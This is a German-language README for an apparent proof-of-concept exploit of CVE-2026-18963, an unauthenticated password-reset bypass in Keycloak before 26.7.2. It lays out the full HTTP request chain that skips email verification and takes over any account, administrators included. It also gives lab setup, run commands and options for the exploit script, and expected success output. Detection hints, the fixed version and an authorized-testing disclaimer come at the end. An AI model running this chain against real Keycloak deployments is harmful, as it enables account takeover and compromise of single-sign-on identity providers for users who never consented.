
Proof-of-Concept-Exploit für CVE-2026-18963, eine kritische Umgehung des Keycloak-Reset-Credentials-Mechanismus, die eine nicht authentifizierte Kontenübernahme ermöglicht. Enthält Laboraufbau, Erkennungshinweise und Behebungsmaßnahmen für autorisierte Tests.
Unauthentifizierte Kontenübernahme im Reset-Credentials-Ablauf von Keycloak. Ein Angreifer, der nur einen Benutzernamen/eine E-Mail-Adresse kennt, kann das Passwort eines beliebigen Benutzers zurücksetzen — einschließlich Administratoren — ohne jemals die Verifizierungs-E-Mail zu erhalten.
Dieser Proof of Concept wird ausschließlich zu Bildungszwecken, für defensive Forschung, Detektionsentwicklung und autorisierte Sicherheitstests veröffentlicht.
Siehe DISCLAIMER.md für die vollständige Erklärung.
| CVE | CVE-2026-18963 |
| Schweregrad | Kritisch — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Schwachstelle | CWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung |
| Betroffen | Keycloak < 26.7.2 (Upstream). Auch RH-Build-Streams über 26.6.6- / 26.4.15-Bundles korrigiert |
| Behoben | Keycloak 26.7.2 (PR #51844) |
| Voraussetzungen | „Passwort vergessen“ (Anmeldedaten zurücksetzen) ist im Realm aktiviert — die Standardeinstellung |
| Auswirkung | Vollständige Übernahme eines beliebigen Benutzers (einschließlich Realm-Administratoren) → IdP-Kompromittierung + lateraler SSO-Zugriff |
Der Ablauf zum Zurücksetzen des Passworts (reset-credentials) zwingt Sie normalerweise dazu,
auf einen Link zu klicken, der dem Kontoinhaber per E-Mail zugesandt wurde, bevor Sie ein neues
Passwort festlegen können. Zwei Fehler ermöglichen es einem Angreifer, diese Prüfung vollständig
zu überspringen:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" ohne sie an die
Ausführungs-ID (Execution ID) zu binden. Ein erneutes Betreten des Ablaufs lässt die
Authentifizierungssitzung in einem verwirrten/veralteten Zustand zurück.ResetCredentialEmail.action() ruft
context.success() auf, ohne ACTION_TOKEN_USER_ID zu überprüfen (d. h., ohne zu
bestätigen, dass das per E-Mail gesendete Aktions-Token tatsächlich verbraucht wurde).Durch die Verkettung wird die Authentifizierungssitzung direkt zum Schritt
UPDATE_PASSWORD für einen beliebigen Benutzer weitergeleitet — keine E-Mail erforderlich.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Siehe docs/ROOTCAUSE.md für den annotierten Patch-Diff.
Sie benötigen Docker und Python 3 mit requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Erwartetes Ende der Ausgabe:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Melden Sie sich dann als victim / Pwned-2026! an, um die Übernahme zu bestätigen.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Jede HTTP-Antwort wird zur Überprüfung nach ./dump/ geschrieben.
Keycloak verwendet bereits 8080. Richten Sie Burps Listener daher auf einem anderen Port ein (z. B. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Die rohe Anforderungskette für Burp Repeater finden Sie in
requests/burp-chain.txt.
Achten Sie auf eine Passwortänderung, der keine E-Mail-Verifizierung in derselben Authentifizierungssitzung vorausging:
UPDATE_PASSWORD-Ereignis ohne vorheriges VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN für diese Sitzung.reset-credentials-Anforderungen, die tryAnotherWay=on enthalten.login-actions/reset-credentials für dieselbe tab_id.Ein vollständiger Lauf ist in CVE-2026-18963.mp4 aufgezeichnet (im Stammverzeichnis des Repositorys).
Die Angriffskette wurde gegen den öffentlichen Keycloak-Patch (PR #51844) und Community-Write-ups verifiziert.
MIT © red-darkin — nur für Bildungs- und autorisierte Testzwecke.